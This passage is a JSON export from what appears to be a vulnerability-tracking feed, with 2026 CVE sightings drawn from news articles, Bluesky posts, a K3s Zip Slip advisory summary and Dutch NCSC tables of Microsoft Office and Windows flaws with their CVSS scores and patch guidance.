\u0432\u0435\u0440\u0441\u0438\u0438 3.4.20 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0435\u0439, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043e\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a.\n\nUbiquiti \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0449\u0435 \u0448\u0435\u0441\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2026-50747, CVE-2026-50748, CVE-2026-54400, CVE-2026-54402, CVE-2026-55115, CVE-2026-55116) \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 UniFi Talk, UniFi Access \u0438 UniFi Protect, UniFi OS Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043d\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u043c \u0441\u043f\u0435\u043a\u0442\u0440\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u043e\u0432, \u0448\u043b\u044e\u0437\u043e\u0432, NAS \u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0432\u0438\u0434\u0435\u043e\u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f Ubiquiti.\n\nUbiquiti \u043f\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0431\u044b\u043b\u0438 \u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043e \u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0448\u0435\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0438\u0445 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Censys \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 100 000 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 UniFi OS,\u00a0\u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0441\u0435\u0442\u0438, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 (\u043f\u043e\u0447\u0442\u0438 50 000 IP) \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u044b \u0432 \u0421\u0428\u0410. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u043b\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u0432\u0443\u0448\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u043d\u0435 \u044f\u0441\u043d\u043e.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0434\u0430\u043d\u043d\u044b\u0435 Censys \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0432 \u0441\u0435\u0431\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0448\u043b\u044b\u0435 \u043f\u0435\u0440\u0438\u043e\u0434\u044b \u0438 \u043c\u043e\u0433\u0443\u0442 \u043d\u0435\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u0440\u0430\u0436\u0430\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u0441\u0442\u0435\u043c, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u0412 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0433\u043e\u0434\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u043e\u043c \u0433\u0440\u0443\u043f\u043f\u044b \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u0438 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0435 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u043d\u0430\u0446\u0435\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u044e Ubiquiti, \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u044f \u0435\u0451 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438.", "creation_timestamp": "2026-07-14T00:00:47.897534Z"}, {"uuid": "bd41e220-db29-47c8-9e6c-07e067093d2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/CEB9a3fsP7fSaxevWc1FrPk_BMOnlKevVAjnT4jZ0NlsXCc", "content": "", "creation_timestamp": "2026-08-20T03:00:04.852924Z"}, {"uuid": "2864ce71-8d8c-44bb-a5d4-c7df9062d125", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54527", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqlgjy4pgm23", "content": "Daily IT Security Digest \u2014 2026-07-14\nScripting (CVE-2026-54527)\nA critical XSS vulnerability in jupyterlab-git (versions below 0.54.0) allows malicious Git filenames to execute JavaScript when viewed in the Git History tab, risking session hijacking and data theft. Users should upgrade to version", "creation_timestamp": "2026-07-14T05:03:16.347146Z"}, {"uuid": "bc95c3a3-6f26-431e-ad77-b8d37b39e352", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54353", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqlz6wpwhh2k", "content": "\ud83d\udccc CVE-2026-54353 - Budibase is an open-source low-code platform. Prior to 3.39.9, authenticated users with automation permissions can bypass Budibase's SSRF blacklist th... https://www.cyberhub.blog/cves/CVE-2026-54353", "creation_timestamp": "2026-07-14T10:37:07.090093Z"}, {"uuid": "70431112-0936-41c4-9744-0eda7220dfcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54429", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mqlzeisz3w2x", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-54429](https://cert-portal.siemens.com/productcert/html/ssa-828211.html)\nA vulnerabilit...\nhttps://cert-portal.siemens.com/productcert/html/ssa-828211.html #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-14T10:40:14.832436Z"}, {"uuid": "ba740818-4513-4212-a89e-d43e14d230dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54307", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqm67u2njg2l", "content": "\ud83d\udccc CVE-2026-54307 - n8n is an open source workflow automation platform. Prior to 1.123.55, 2.25.7, and 2.26.2, a member-level user with editor access to a shared workflow... https://www.cyberhub.blog/cves/CVE-2026-54307", "creation_timestamp": "2026-07-14T12:07:06.248680Z"}, {"uuid": "f8a59d01-1008-4873-8658-5cd7066c8f61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54008", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqm4ka7n4h2m", "content": "\ud83d\udccc CVE-2026-54008 - Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, backend/open_webui/utils/oauth.py::... https://www.cyberhub.blog/cves/CVE-2026-54008", "creation_timestamp": "2026-07-14T11:37:07.624406Z"}, {"uuid": "75de76e3-e4aa-434e-955d-e21d7f223804", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54429", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqm64qfivx2k", "content": "CVE-2026-54429 - SIMATIC S7-PLCSIM Advanced Denial of Service Vulnerability\nCVE ID : CVE-2026-54429\n \n Published : July 14, 2026, 10:16 a.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : A vulnerability has been identified in SIMATIC S7-PLCSIM Advanced (All versions). Affected dev...", "creation_timestamp": "2026-07-14T12:05:26.489412Z"}, {"uuid": "e59a6b91-79b0-4bcc-92d8-5300f236d1c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54801", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-per-prodotti-siemens-24", "content": "", "creation_timestamp": "2026-07-14T12:45:03.295914Z"}, {"uuid": "dba8d06b-9535-40e5-8466-5bce82799a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54429", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-per-prodotti-siemens-24", "content": "", "creation_timestamp": "2026-07-14T12:45:10.021430Z"}, {"uuid": "92f7d190-cfe9-48de-8860-da707b4c75d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqmsbb23iu2d", "content": "CVE-2026-54989: Microsoft's QWAVE Vulnerability Is an Open Door for Attackers #CVE2026 #MicrosoftSecurity #QWAVE", "creation_timestamp": "2026-07-14T18:05:48.907980Z"}, {"uuid": "ccc1131d-8131-424b-aab4-92d1644c46dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqmsbf3xqu2d", "content": "CVE-2026-54989: QWAVE Vulnerability Opens Doors for Controlled Attacks #CVE2026 #QWAVE #Vulnerability", "creation_timestamp": "2026-07-14T18:05:53.029019Z"}, {"uuid": "b59dc874-52b1-400d-b2d8-d6959176d1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqmsbity5722", "content": "CVE-2026-54989: Microsoft's QWAVE Vulnerability Raises Privilege Concerns #CVE2026 #QWAVE #vulnerability", "creation_timestamp": "2026-07-14T18:05:56.847899Z"}, {"uuid": "6848a036-23f3-4522-9c88-d80d59ab06c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqmsbm55uk2h", "content": "CVE-2026-54989: Microsoft\u2019s QWAVE Flaw Exemplifies Gaps in Patch Transparency #CyberSecurity #PatchManagement #MicrosoftSecurity", "creation_timestamp": "2026-07-14T18:06:00.328805Z"}, {"uuid": "96464208-a334-4bd7-b638-32bed91ad138", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqmsbpvz5b25", "content": "CVE-2026-54989: Microsoft's Ambiguous Handling of QWAVE Elevation Vulnerability Raises Doubts #CVE202654989 #MicrosoftSecurity #Vulnerability", "creation_timestamp": "2026-07-14T18:06:04.541583Z"}, {"uuid": "bdddab65-6f05-4de3-acad-e25b7080b3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqmsbti6q32k", "content": "CVE-2026-54989: Response to QWAVE Vulnerability \u2013 Triage or Exploit Horizons? #CVE2026 #QWAVE #CyberSecurity", "creation_timestamp": "2026-07-14T18:06:08.362429Z"}, {"uuid": "ffcee965-552c-4942-be53-65ac8ea6b0ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54250", "type": "seen", "source": "https://gist.github.com/alon710/0aa2b5000c5f8b16f18b0419c2e76818", "content": "# CVE-2026-54250: CVE-2026-54250: Path Traversal Vulnerability in K3s etcd Snapshot Decompression\n\n> **CVSS Score:** 5.8\n> **Published:** 2026-07-14\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54250\n\n## Summary\nCVE-2026-54250 is a path traversal vulnerability in K3s, a lightweight Kubernetes distribution. The flaw exists within the etcd snapshot decompression functionality, allowing administrative users to write arbitrary files to the host filesystem via a maliciously crafted ZIP archive. Due to the high privilege level of the K3s process, this can result in total host compromise.\n\n## TL;DR\nA Zip Slip path traversal vulnerability in K3s allows administrative users with snapshot restore capabilities to write arbitrary files to the host filesystem, potentially leading to remote code execution and host takeover.\n\n## Technical Details\n\n- **CWE ID**: CWE-22\n- **Attack Vector**: Local (AV:L)\n- **CVSS Score**: 5.8 (Medium)\n- **EPSS Score**: 0.00122 (Percentile: 2.32%)\n- **Exploit Status**: Unproven/None\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- K3s Control-Plane Server Nodes\n- **K3s**: >= 1.35.0-rc1+k3s1 to < 1.35.3+k3s1 (Fixed in: `1.35.3+k3s1`)\n- **K3s**: >= 1.34.0-rc1+k3s1 to < 1.34.6+k3s1 (Fixed in: `1.34.6+k3s1`)\n- **K3s**: < v1.33.10+k3s1 (Fixed in: `v1.33.10+k3s1`)\n\n## Mitigation\n\n- Upgrade to patched versions of K3s\n- Enforce GODEBUG=zipinsecurepath=0 environment variable\n- Manually pre-extract the ZIP archive using hardened tools\n\n**Remediation Steps:**\n1. Identify the current version of K3s running on control-plane nodes.\n2. Download and apply the updated K3s binary corresponding to the patched release (e.g., 1.35.3+k3s1, 1.34.6+k3s1, or v1.33.10+k3s1).\n3. If upgrading is delayed, prepend 'GODEBUG=zipinsecurepath=0' to restoration command invocations as an active workaround.\n4. Alternatively, extract snapshot archives manually and target the decompressed database file directly in restoration commands.\n\n## References\n\n- [GitHub Security Advisory GHSA-jxr7-mqhw-9p98](https://github.com/k3s-io/k3s/security/advisories/GHSA-jxr7-mqhw-9p98)\n- [NVD Vulnerability Details](https://nvd.nist.gov/vuln/detail/CVE-2026-54250)\n- [CVE Org Record](https://www.cve.org/CVERecord?id=CVE-2026-54250)\n- [K3s Source Code Repository](https://github.com/k3s-io/k3s)\n- [K3s Official Documentation on Restoring Snapshots](https://docs.k3s.io/cli/etcd-snapshot#security)\n- [Go archive/zip Insecure Path Protections](https://pkg.go.dev/archive/zip#NewReader)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54250) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-14T18:11:53.864161Z"}, {"uuid": "25fe8297-9539-4925-bfef-a270e839eaf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqmuc5x7vu2t", "content": "CVE-2026-54990 - windows 11 version 24h2\nThe Microsoft Remote Desktop Client is at risk of being exploited by unauthorized attackers, potentially allowing them to execute malicious code. This could lead to data\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#microsoft #CVE #infosec", "creation_timestamp": "2026-07-14T18:42:05.972885Z"}, {"uuid": "714e42eb-0473-44ee-962e-a14bd0966720", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0237", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse Office producten, zoals Word, Excel, Powerpoint en SharePoint. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot categorie\u00ebn schade, zoals benoemd in onderstaande tabel.\n\nVoor succesvol misbruik moet de kwaadwillende het slachtoffer misleiden een malafide bestand te openen of link te volgen, met uitzondering van SharePoint. Voor succesvol misbruik van kwetsbaarheden in SharePoint is geen gebruikersinteractie nodig, anders dan het volgen van een malafide link.\n\n```\nMicrosoft Office SharePoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54108 | 6.50 | Voordoen als andere gebruiker       | \n| CVE-2026-56164 | 5.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50522 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58644 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55016 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55019 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55020 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55021 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55030 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-55034 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55126 | 7.30 | Voordoen als andere gebruiker       | \n| CVE-2026-55051 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55040 | 9.10 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-55052 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55135 | 4.60 | Voordoen als andere gebruiker       | \n| CVE-2026-56157 | 5.40 | Voordoen als andere gebruiker       | \n| CVE-2026-58277 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Word: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55050 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55032 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55033 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55124 | 5.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-55127 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55055 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55038 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55132 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55134 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55142 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55128 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55130 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office PowerPoint: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55043 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55123 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55120 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56193 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-47290 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50301 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50314 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50467 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55017 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55018 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55022 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55023 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55125 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55026 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55027 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55028 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55047 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55045 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-55049 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55129 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55035 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55057 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55056 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55140 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55042 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55139 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50665 | 7.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56192 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56195 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office OneNote: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55133 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Office Excel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50675 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50678 | 6.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54988 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55899 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55948 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58618 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47642 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48580 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55024 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50408 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55046 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55025 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55031 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55048 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55029 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55039 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55041 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55138 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55136 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55141 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55036 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55044 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55054 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55037 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55058 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55137 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55053 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55122 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54131 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55898 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-55947 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55949 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56156 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-14T19:00:52.701444Z"}, {"uuid": "caa502cb-e44c-4048-876a-da75cf84de2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare 